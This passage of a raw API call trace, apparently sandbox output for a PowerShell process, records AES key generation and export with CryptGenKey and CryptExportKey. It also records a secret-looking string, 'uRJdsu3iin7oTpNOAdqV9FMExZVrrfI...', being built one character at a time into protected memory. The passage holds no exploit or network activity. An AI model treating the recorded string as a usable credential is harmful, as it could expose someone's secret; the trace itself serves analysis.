[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.608] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0134.609] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e850f8) returned 1 [0134.609] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.609] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.609] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a9c304, pdwDataLen=0x99ae894 | out: pbData=0x6a9c304*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.609] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xc294\x6a9\xe480\x99a") returned 0x0 [0134.609] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.609] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.609] SysStringLen (param_1="") returned 0x8 [0134.609] SysStringLen (param_1="u") returned 0x8 [0134.610] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="\xa757\x27ba\x940a\xb18a\xa920\x8bce\xde2\xb485") returned 0x8 [0134.610] SysStringLen (param_1="\xa757\x27ba\x940a\xb18a\xa920\x8bce\xde2\xb485") returned 0x8 [0134.610] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="uR") returned 0x8 [0134.610] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="\xa221\x51bb\x8e66\x836d\xa1f2\x6cd6\x9610\x7e51") returned 0x8 [0134.610] SysStringLen (param_1="\xa221\x51bb\x8e66\x836d\xa1f2\x6cd6\x9610\x7e51") returned 0x8 [0134.610] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="uRJ") returned 0x8 [0134.610] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="\xff67\x374a\x5dbd\x680d\x1fbc\x700e\x482c\x8a51") returned 0x8 [0134.610] SysStringLen (param_1="\xff67\x374a\x5dbd\x680d\x1fbc\x700e\x482c\x8a51") returned 0x8 [0134.610] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="uRJd") returned 0x8 [0134.610] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="\x7a54\x23fd\xa33c\x26a8\xbfaa\x18b1\xc2e3\xf52d") returned 0x8 [0134.610] SysStringLen (param_1="\x7a54\x23fd\xa33c\x26a8\xbfaa\x18b1\xc2e3\xf52d") returned 0x8 [0134.610] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="uRJds") returned 0x8 [0134.610] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.610] SysStringLen (param_1="\x993\x90ce\xd392\x9d8c\xcbaa\xfc22\xeac3\xa8c5") returned 0x8 [0134.610] SysStringLen (param_1="\x993\x90ce\xd392\x9d8c\xcbaa\xfc22\xeac3\xa8c5") returned 0x8 [0134.610] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="uRJdsu") returned 0x8 [0134.611] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="\xcd30\x570e\x3fc5\xfecd\x6c07\x6119\x4351\x21fd") returned 0x8 [0134.611] SysStringLen (param_1="\xcd30\x570e\x3fc5\xfecd\x6c07\x6119\x4351\x21fd") returned 0x8 [0134.611] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="uRJdsu3") returned 0x8 [0134.611] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="\x5585\x63a5\x73da\xeab5\xab91\x3df6\x3661\xcbf3") returned 0x8 [0134.611] SysStringLen (param_1="\x5585\x63a5\x73da\xeab5\xab91\x3df6\x3661\xcbf3") returned 0x8 [0134.611] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="uRJdsu3i") returned 0x8 [0134.611] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.611] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a") returned 0x8 [0134.611] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a") returned 0x8 [0134.611] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a") returned 0x8 [0134.611] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a") returned 0x10 [0134.611] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.611] SysStringLen (param_1="uRJdsu3iiﲷ韼瀅窩묤䃐쾩") returned 0x10 [0134.611] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xffed\xbedd\x2606\xa37f\x713b\xe7a3\xaa10\x479c") returned 0x10 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xffed\xbedd\x2606\xa37f\x713b\xe7a3\xaa10\x479c") returned 0x10 [0134.612] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="uRJdsu3iin韼瀅窩묤䃐쾩") returned 0x10 [0134.612] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x3571\x7e4e\x3f9\x17f4\xe863\xdde9\x3702\x26c2") returned 0x10 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x3571\x7e4e\x3f9\x17f4\xe863\xdde9\x3702\x26c2") returned 0x10 [0134.612] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="uRJdsu3iin7瀅窩묤䃐쾩") returned 0x10 [0134.612] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x4126\x123e\x78dc\x46c7\x9c34\x830c\x1f30\x35f8") returned 0x10 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x4126\x123e\x78dc\x46c7\x9c34\x830c\x1f30\x35f8") returned 0x10 [0134.612] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="uRJdsu3iin7o窩묤䃐쾩") returned 0x10 [0134.612] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xf2cf\x7926\x62a2\x59fe\x9bbc\xd6b9\x2dab\xf32f") returned 0x10 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xf2cf\x7926\x62a2\x59fe\x9bbc\xd6b9\x2dab\xf32f") returned 0x10 [0134.612] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="uRJdsu3iin7oT묤䃐쾩") returned 0x10 [0134.612] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xd700\x363b\x7a7b\x2687\xa8da\xe974\x864c\xe7d8") returned 0x10 [0134.612] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xd700\x363b\x7a7b\x2687\xa8da\xe974\x864c\xe7d8") returned 0x10 [0134.612] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="uRJdsu3iin7oTp䃐쾩") returned 0x10 [0134.613] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x1219\x9f6d\x3a9b\x1a8b\x8299\xff42\x5af4\x5587") returned 0x10 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x1219\x9f6d\x3a9b\x1a8b\x8299\xff42\x5af4\x5587") returned 0x10 [0134.613] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="uRJdsu3iin7oTpN쾩") returned 0x10 [0134.613] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x5700\xc44\xe970\xd38b\x26ff\x8563\x3917\x1356") returned 0x10 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\x5700\xc44\xe970\xd38b\x26ff\x8563\x3917\x1356") returned 0x10 [0134.613] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="uRJdsu3iin7oTpNO") returned 0x10 [0134.613] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91") returned 0x10 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91") returned 0x10 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91") returned 0x10 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91") returned 0x18 [0134.613] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.613] SysStringLen (param_1="uRJdsu3iin7oTpNOA횖ṻ衙돮ൂ") returned 0x18 [0134.613] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xa0ef\x188f\x534b\x8dec\xb804\x5178\x595d\x55a1") returned 0x18 [0134.613] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xa0ef\x188f\x534b\x8dec\xb804\x5178\x595d\x55a1") returned 0x18 [0134.614] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="uRJdsu3iin7oTpNOAdṻ衙돮ൂ") returned 0x18 [0134.614] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xf4ce\xff23\x12f\x60ca\xa81a\xebce\x9ce6\xd9ea") returned 0x18 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xf4ce\xff23\x12f\x60ca\xa81a\xebce\x9ce6\xd9ea") returned 0x18 [0134.614] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="uRJdsu3iin7oTpNOAdq衙돮ൂ") returned 0x18 [0134.614] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x917\xdf62\xc8ca\xc8fb\xb5ec\x3da3\x66f8\xbde7") returned 0x18 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x917\xdf62\xc8ca\xc8fb\xb5ec\x3da3\x66f8\xbde7") returned 0x18 [0134.614] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV돮ൂ") returned 0x18 [0134.614] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x7df3\xb6d6\x82e4\x6b29\x38aa\xa251\x87db\xc4a5") returned 0x18 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x7df3\xb6d6\x82e4\x6b29\x38aa\xa251\x87db\xc4a5") returned 0x18 [0134.614] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9돮ൂ") returned 0x18 [0134.614] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x1ada\x63a8\x20cb\x47eb\xb1a6\x6568\x26b7\x152f") returned 0x18 [0134.614] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x1ada\x63a8\x20cb\x47eb\xb1a6\x6568\x26b7\x152f") returned 0x18 [0134.614] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9F돮ൂ") returned 0x18 [0134.615] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9deb\x370c\x6484\x89c3\xf09c\x76b3\x77e\xcd64") returned 0x18 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9deb\x370c\x6484\x89c3\xf09c\x76b3\x77e\xcd64") returned 0x18 [0134.615] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMൂ") returned 0x18 [0134.615] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xda40\x5472\xc18\xc5d1\xa060\xee00\xe2e5\xaa84") returned 0x18 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\xda40\x5472\xc18\xc5d1\xa060\xee00\xe2e5\xaa84") returned 0x18 [0134.615] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FME") returned 0x18 [0134.615] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753") returned 0x18 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753") returned 0x18 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753") returned 0x18 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753") returned 0x20 [0134.615] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.615] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExᤷ︃귘♏迯잀") returned 0x20 [0134.615] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xcb00\xe055\xda3b\x5c1\xd472\x8e5e\x2aac\x7e67") returned 0x20 [0134.615] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xcb00\xe055\xda3b\x5c1\xd472\x8e5e\x2aac\x7e67") returned 0x20 [0134.616] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.616] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZ︃귘♏迯잀") returned 0x20 [0134.616] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.616] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x3e8d\xb605\x22c7\xab71\xcdde\xb047\xfb0f\x53b8") returned 0x20 [0134.616] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x3e8d\xb605\x22c7\xab71\xcdde\xb047\xfb0f\x53b8") returned 0x20 [0134.616] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.616] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZV귘♏迯잀") returned 0x20 [0134.616] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.616] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x8806\x8201\x6cb9\x6b6d\xf5c7\xf5aa\x21d3\x1171") returned 0x20 [0134.616] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x8806\x8201\x6cb9\x6b6d\xf5c7\xf5aa\x21d3\x1171") returned 0x20 [0134.616] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.616] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVr♏迯잀") returned 0x20 [0134.616] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.617] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xcccf\xfb\x2088\xffca\xabbd\x489c\x5992\x4c40") returned 0x20 [0134.617] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xcccf\xfb\x2088\xffca\xabbd\x489c\x5992\x4c40") returned 0x20 [0134.617] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.617] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrr♏迯잀") returned 0x20 [0134.617] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x6a48\xb65f\x2487\x9860\x5c11\x618\x537e\xe9c3") returned 0x20 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x6a48\xb65f\x2487\x9860\x5c11\x618\x537e\xe9c3") returned 0x20 [0134.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrf迯잀") returned 0x20 [0134.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x2427\x8ce7\xddd5\xbf5f\x1ab6\x7062\x47d7\x1d2b") returned 0x20 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\x2427\x8ce7\xddd5\xbf5f\x1ab6\x7062\x47d7\x1d2b") returned 0x20 [0134.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfI잀") returned 0x20 [0134.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xb92a\xecbe\xb66a\x9c92\x8fcb\x697\x5d5\x2f7c") returned 0x20 [0134.618] SysStringLen 